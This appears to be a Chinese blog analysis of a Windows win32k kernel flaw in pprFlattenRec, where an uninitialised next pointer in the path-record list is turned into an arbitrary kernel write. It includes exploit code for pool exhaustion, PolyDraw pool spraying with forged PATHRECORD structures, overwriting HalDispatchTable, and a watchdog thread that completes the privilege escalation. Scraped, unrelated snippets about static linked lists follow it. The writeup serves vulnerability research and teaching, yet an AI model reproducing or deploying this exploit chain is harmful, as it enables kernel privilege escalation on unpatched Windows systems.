      PATHRECORD *record; // eax
    
      v1 = this;
      v2 = this[2];
      if ( !v2 )
        return 0;
      for ( record = *(PATHRECORD **)(v2 + 20); record; record = record->next )
      {
        if ( record->flags & 0x10 )
        {
          record = pprFlattenRec(v1, record);
          if ( !record )
            return 0;
        }
      }
      *v1 &= 0xFFFFFFFE;
      return 1;
    }
    

    可以看到这里其实是在遍历链表,如果遍历到的path_record节点的flags有0x10的属性,则对其进行pprFlattenRec操作。这个函数所做的工作实际就是摘除当前节点,并创建一个新节点链入原位置,有3个关键部分

    if ( newpathrec(this, (PATHRECORD *)&new_pathrecord, &a3, 0x7FFFFFFFu) != 1 )
        return 0;
      new_node0 = new_pathrecord;
      ppr_node = a2;
      new_pathrecord->prev = a2->prev;
      v5 = &new_node0->numPoints;
      new_node0->numPoints = 0;
      new_node0->flags = a2->flags & 0xFFFFFFEF;
      if ( new_node0->prev )
        *(_DWORD *)new_node0->prev = new_node0;
      else
        *(_DWORD *)(*(_DWORD *)(v28 + 8) + 20) = new_node0;
    
    if ( newpathrec(v14, (PATHRECORD *)&new_node1, &a3, 0x7FFFFFFFu) != 1 )
              return 0;
    
      ppr_node_next = ppr_node->next;
      new_node0->next = ppr_node_next;
      if ( ppr_node_next )
        ppr_node_next->prev = (struct _PATHRECORE *)new_node0;
      else
        *(_DWORD *)(*(_DWORD *)(v20 + 8) + 24) = new_node0;
    

    这3个部分是从上往下的顺序依次执行,可以看到,在第1部分创建了新的节点,并初始化其prev字段,在第3部分初始化其next字段,而第2部分却可以直接返回,这就导致了若第1部分成功执行,第2部分返回,则新的节点的next是没有初始化的,完成池污染就相当于控制了该next指针。

    漏洞利用

    基本思路是将未初始化的bug转变为任意地址写(这个利用太屌了)

    • 触发漏洞,其实就是poc中类似的操作,在创建节点时使其获得被污染的内存块,且在插入操作的中途return掉。为了达到目的,需要以下两步操作。
    • 内存消耗。使用CreateRoundRectRgn消耗内存,使得之后分配内存池时分配失败,引起链表插入操作中断
    for (Size = 1 << 26; Size; Size >>= 1) {
    	while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
    		NumRegion++;
    }
    
    • 池污染。使用PolyDraw将ring3的自定义path_record块地址压入内存池,控制内存池中未初始化的数据。这里涉及到了自定义path_record块的初始化,将其next指针设置为自身是为了在触发漏洞后保存比较稳定的状态。
    PathRecord = VirtualAlloc(NULL,
                              sizeof *PathRecord,
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);
    
    PathRecord->flags   = 0;
    PathRecord->next    = PathRecord;
    PathRecord->prev    = (PPATHRECORD)(0x42424242);
    
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum]    = PT_BEZIERTO;
    }
    
    for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) {
        BeginPath(Device);
        PolyDraw(Device, Points, PointTypes, PointNum);
        EndPath(Device);
    }
    
    • 任意地址写。先来说说为什么能任意地址写,依然来看以下pprFlattenRec部分代码,这里在创建了新节点后做了这样的操作。newNode->prev->next = newNode,而new->prev的值为pprNode->prev。由于我们已经触发了漏洞,所以此时的pprNode就是ring3层定义的,即pprNode->prev可控,所以new->prev可控,于是就成了arbitrary_address->next即*arbitrary_address = newNode。
    if ( newpathrec(this, (PATHRECORD *)&new_pathrecord, &a3, 0x7FFFFFFFu) != 1 )
        return 0;
      new_node0 = new_pathrecord;
      ppr_node = a2;
      new_pathrecord->prev = a2->prev;
      v5 = &new_node0->numPoints;
      new_node0->numPoints = 0;
      new_node0->flags = a2->flags & 0xFFFFFFEF;
      if ( new_node0->prev )
        *(_DWORD *)new_node0->prev = new_node0; //任意地址写,注意有解引用符号以至于new_node0->prev->next = new_node0
      else
        *(_DWORD *)(*(_DWORD *)(v28 + 8) + 20) = new_node0;
    
    • 控制跳板。虽然能进行任意地址写了,但写入值newNode是不可控的,不过newNode->next是可控的,以下pprFlattenRec最后部分代码,这段代码的newNode->next = pprNode->next,这里的pprNode->next是可控的。任意地址写漏洞通常会将shellcode地址写入HalDispatchTable+4位置中,然后通过API去间接调用。于是call newNode就变成了,执行newNode->next代码,由于只有4字节,所以可以用jmp address等操作将其作为跳板。
    ppr_node_next = ppr_node->next;
    new_node0->next = ppr_node_next;
    if ( ppr_node_next )
        ppr_node_next->prev = (struct _PATHRECORE *)new_node0;
    else
        *(_DWORD *)(*(_DWORD *)(v20 + 8) + 24) = new_node0;
    
    • 看门狗线程。由于之前为了维持漏洞触发状态的稳定性,我们将path_record->next设置为自身首地址,且flags为0,这样它不会进入到pprFlattenRec函数中,而是一直做无用循环,而只有在进入pprFlattenRec函数后才能触发任意地址写,所以这里得突破这个困境。方法是最开始就开启一个新的看门狗线程,经过一段时间的等待后,修改path_record->next,将其设置为ring3自定义的exp_record,为了避免调度问题,这个修改使用原子操作。而这个exp_record就要承担之前任意地址写和跳板的工作,代码如下
    ExploitRecord.next          = (PPATHRECORD) *DispatchRedirect;
    ExploitRecord.prev          = (PPATHRECORD) &HalDispatchTable[1];
    ExploitRecord.flags         = PD_BEZIERS | PD_BEGINSUBPATH;
    ExploitRecord.count         = 4;
    
    DWORD WINAPI WatchdogThread(LPVOID Parameter)
    {
        WaitForSingleObject(Mutex, CYCLE_TIMEOUT);
        while (NumRegion) DeleteObject(Regions[--NumRegion]); //保证之后的池分配正常
        InterlockedExchangePointer(&PathRecord->next,
                                   &ExploitRecord);
        return 0;
    }
    

    虽然没有说完所有细节,但经过调试,核心思路是以上这样的。

    总结

    从bug到利用,可谓非常多奇思妙想。

    参考

    https://bbs.pediy.com/thread-178154.htm
    http://hitcon.org/2013/download/[F2]%20%E7%8E%8B%E5%AE%87%20epath_cn.pdf
    《漏洞战争》

    展开全文
  • 静态链表 一、简介 用数组代替指针或引用来描述单链表,即...通常把被使用的数组元素称为备用链表。而数组第一个元素,即下标为0的元素的cur就存放备用链表的第一个结点的下标;而数组的最后一个元素的cur则存放第
  • 任何形式的未初始化的声明的变量,在编译时都会分配相应的空间。或许我们会奇怪为什么有时候声明的某些数据类型,比如结构体指针、类指针、链表指针等在使用前还需要分配空间。这里要注意的是,声明的是指针变量,...
  • 首先,变量声明与空间分配: 任何形式的未初始化的声明的变量,在编译时都会分配相应的空间。或许我们会奇怪为什么有时候声明的某些数据类型,比如结构体指针、类指针、链表指针等在使用前还需要分配空间。这里要...
  • 静态链表

    2019-11-14 16:53:52
    静态链表静态链表线性表的静态链表存储结构静态链表初始化静态链表的插入静态链表的删除静态链表的特点 静态链表 用数组描述(游标实现)的链表叫静态链表 游标 5 2 3 4 0 6 7 … 1 数据 A C D E … ...
  • 反转链表

    2020-09-06 17:27:21
    初始化:3个指针 1)pre指针指向已经反转好的链表的最后一个节点,最开始没有反转,所以指向nullptr 2)cur指针指向待反转链表的第一个节点,最开始第一个节点待反转,所以指向head 3)nex指针指向待反转链表的第二...
  • java实现单链表的初始化

    千次阅读 2020-04-17 22:34:18
    因为牛客网上并要求实现main函数,单链表的构建是后台进行的。故想自己写个main来完整地实现功能。 题目描述: 输入一个链表,按链表从尾到头的顺序返回一个ArrayList。 代码区的格式为: 定义了一个...
  • c语言动态链表

    2019-11-14 09:50:35
    1.初始化一个空链表 2.在链表末尾添加一个新建项 3.确定链表是否为空 4.确定链表是否已满 5.确定链表中的项数 6访问链表中的每一项执行某些操作,如显示该项 7.在链表的任意位置插入一个项 8.移除链表中的一个...
  • 链表学习加深

    2020-10-19 16:14:34
    四个区 #include<stdio.h> #include<stdlib.h> int a; //全局变量的未初始化,默认是0;而局部变量不会,因此,局部变量为未初始化就会报错 int main(void) ... //全局变量的未初始化
  • 创建链表节点

    2021-03-27 15:55:36
    2、清节点数据(由于结构体变量未初始化,数据是随机的) 例如:memset(node,0,sizeof(struct list)) 3、给节点初始化数据 例如:node->id=data 4、将该节点的指针域设置为MULL 例如: node->n
  • linux链表的使用

    2018-12-21 17:16:00
    链表初始化> 方法1: 实例: 方法2: 定义和初始化一步到位,实例: 方法2: 使用函数的方式初始化 <往链表中添加成员> list_add传入new,和head。当head还加入其它元素的...
  • C语言链表

    2019-08-01 11:57:54
    注意单链表创建时: //创建一个节点 L *create_node(int data) { //给每个节点分配结构体一样的空间大小 L *p = (L *)malloc(sizeof(L)); //void指针改为强转为...//由于结构体在未初始化的时候一样是脏数据,所以要...
  • 链表实现

    2016-09-11 00:59:24
    /* 指针知识复习: int *p = new int; //此时指针p指向一个int对象,该对象没有被初始化 ... //指针p指向一个int型数组,该数组初始化 int *p = new int[10](0); //指针p指向一个int型数组,该数组的元素都
  • 源代码是: ``` // 头文件中声名类 class MemoryManager: public QWidget ... MemoryManager(QWidget *parent = ...网上查了说是未变量未初始化,构造函数中不是初始化了吗?而且也调用到了,为什么还会出这种问题?
  • 合并两个有序链表

    2020-03-12 17:43:31
    建立一个新链表,将新链表的节点指针指向l1,l2中val较小的节点,直到遍历完l1,l2其中一个链表,然后将新链表的指针直接指向遍历完的另一个链表,由于最开始初始化链表list的第一个元素为0,所以最后返回list....
  • Raw-OS源码分析之系统初始化

    千次阅读 2014-04-16 15:04:12
    分析的内核版本截止到2014-04-15,基于1.05正式版,blogs会及时...”字样,则是深究理解部分。  Raw-OS官方网站:http://www.raw-os.org/  Raw-OS托管地址:https://github.com/jorya/raw-os/  1.双向链表定义
  • void createbtnode(btnode*&b,char*str)/*使用广义表输入二叉树,其他的树形结构是不行的,因为其中用了k这个辅助的参量*/{ .../*初始化一些参数*/ char ch; b=null; ch=str[j];/*装有树的广义表形式*/ while(ch!=
  • 数组实现链表效果

    2021-03-31 22:47:32
    //局部变量:未初始化内部元素默认为0 int Data[10] ; //定义一个数组,存放数据 int Next[10] ; //定义一个数组,存放下一个元素的下标 //该函数用于实现数组链表的插入 void Insert( int index , int p , int ...
  • 链表的游标实现

    2016-03-14 16:29:56
    数据结构与算法分析——c语言描述 第三章 链表的游标实现 和普通的链表没什么区别,就是用...使用之前要main函数手动初始化。 cursor.h typedef int ElementType; #define SpaceSize 100 #ifndef _Cursor
  • 两种方法的区别无非是插入的位置: 头插法:新插入结点始终当前的第一个结点 尾插法:新插入结点始终为当前的最后一个结点 头插法建表 实现代码: ... //初始化随机数种子 L = (LinkList)malloc(...
  • p指向头结点L的下一个节点,但是总显示p=0xCDCDCDCDCD,百度之后知道是未初始化的意思,但是为什么会显示p未初始化,不是p = L->next了么
  • 未初始化时,链表本身为null(实际上就是在内存中没有分配空间),其中的next也是链表,也是null。 first = new Node(key, value, first); Node 链表first就被分配了地址,但是first.next仍然时null; 1 class...
  • JAVA实现单项链表

    2020-06-03 21:43:51
    //先初始化一个头结点,头结点不动,且不放任何元素 private HeroNode head = new HeroNode(0,"",""); //添加节点到单向链表 //找到该链表的最后一个节点,将该节点的next指向要添加的节点; public void add...
  • public class LNode<T> //一次遍历原地反转 { public T data; public LNode<T> next; //逆序算法01 public static void Reverse01(LNode<... //链表反转 保证至少有... //head==null 未初始化链表.
  • 指针链表ppt

    2012-10-25 09:45:00
    内存分配虽然成功,但是尚未初始化就引用它。 不要忘记为数组和动态内存赋初值。 内存分配成功并且已经初始化,但操作越过了内存的边界。 避免数组或指针的下标越界。 忘记了释放内存,造成内存泄露。 释放了内存却...
  • 对2个链表分别使用指针进行操作,初始化指针指向头部位置。 新建头部指针 head ,让这2个有序链表串联到该指针后续位置,方便返回值。 比较2指针所指元素的大小,小的元素放到 head 的后面,然后后移一位,直至末尾...
  • 链表create node时一开始使用malloc,程序报错,显示无法读取内存,且显示结构体未初始化。 当时并未想着排查,所以直接换了new,程序正常运行。 于是往new和malloc的区别方面寻找程序出错的原因。以我对两者肤浅...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 471
精华内容 188
关键字:

未初始化链表